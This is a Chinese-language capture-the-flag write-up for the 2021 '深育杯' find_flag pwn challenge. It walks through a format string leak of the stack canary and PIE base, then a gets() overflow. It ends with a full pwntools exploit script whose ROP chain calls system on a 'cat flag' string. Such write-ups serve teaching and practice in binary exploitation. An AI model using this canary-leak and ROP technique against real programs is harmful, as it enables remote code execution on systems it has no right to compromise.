# 题目复现 ——[深育杯 2021] find_flag
pie 与 canary 同时开启,并且有格式化字符串。
# 检查程序:
保护很全面。
可以看的出,在第一处有格式化字符串漏洞。
# IDA 分析:
看了一下 mian 函数,将函数重命名,pwn 是我们有漏洞的地方。
可以看到 gets 函数可以进行栈溢出,但是有 canary 保护,所以我们需要泄露 canary,可以利用格式化字符串去泄露 canary 并覆写在栈上。
发现 backdoor。但是开了 pie,我们应该无法利用后们,但是好在只读变量(const 修饰的)和字符串变量放入 rodata 区。还是可以利用的。
# gdb 分析:
打断点在 printf 处(不知到为什么不能在 main 函数处大不了断点,很奇怪
一直步到下图处
看栈信息,很明显能看到 canary——>
0b:0058│ 0x7fffffffdd18 ◂— 0x121203e586d31600
看一下距格式化字符串的偏移。
但是难点不是在泄露 canary,而是在泄露基址上去,需要了解 pie 和栈,可以看到,在 rbp 下面刚好有一个我们能泄露函数基址,但是为什么是他呢?
考虑因为这个地址代表了我们的 main 函数结尾的一个部分的地址,我们可以通过这个地址进而计算出栈的基址。
接下来就是确定偏移了(须注意的一点就是需要在 gets 函数输入后,在查看栈的情况,这样更好确定。
# exp 构造环节:
既然我们找到了,我们就构造 payload1 去泄露 canary 和基址
paylaod1 = b'%17$p---%19$p' |
在构造 rop 链的准备。
Base = base - 0x146F | |
system = Base + elf.sym['system'] | |
catflag = Base + 0x2004 # robata 中的字符串 | |
#ROPgadget --binary file --only 'pop|ret' | |
rdi = Base + 0x14E3 | |
ret = Base + 0x101A |
# exp:
from pwn import * | |
context.log_level = 'debug' | |
local = 1 | |
if local: | |
p = process('ff') | |
else: | |
p = remote('node4.anna.nssctf.cn',28068) | |
elf = ELF('./ff') | |
context.log_level = 'debug' | |
context(arch='amd64',os='linux') | |
p.recvuntil(b'name? ') | |
payload1 = b'%17$p---%19$p' | |
p.sendline(payload1) | |
p.recvuntil(b'you, ') | |
canary = int(p.recv(18), 16) | |
print(hex(canary)) | |
p.recvuntil(b'---') | |
base = int(p.recv(14), 16) | |
print(hex(base)) | |
Base = base - 0x146F | |
system = Base + elf.sym['system'] | |
catflag = Base + 0x2004 | |
#ropgadget | |
rdi = Base + 0x14E3 | |
ret = Base + 0x101A | |
payload = b'a'*0x38 + p64(canary) + b'a'*8 + p64(ret) + p64(rdi) + p64(catflag) + p64(system) | |
p.recvuntil(b'else? ') | |
p.sendline(payload) | |
p.recv() | |
p.interactive() |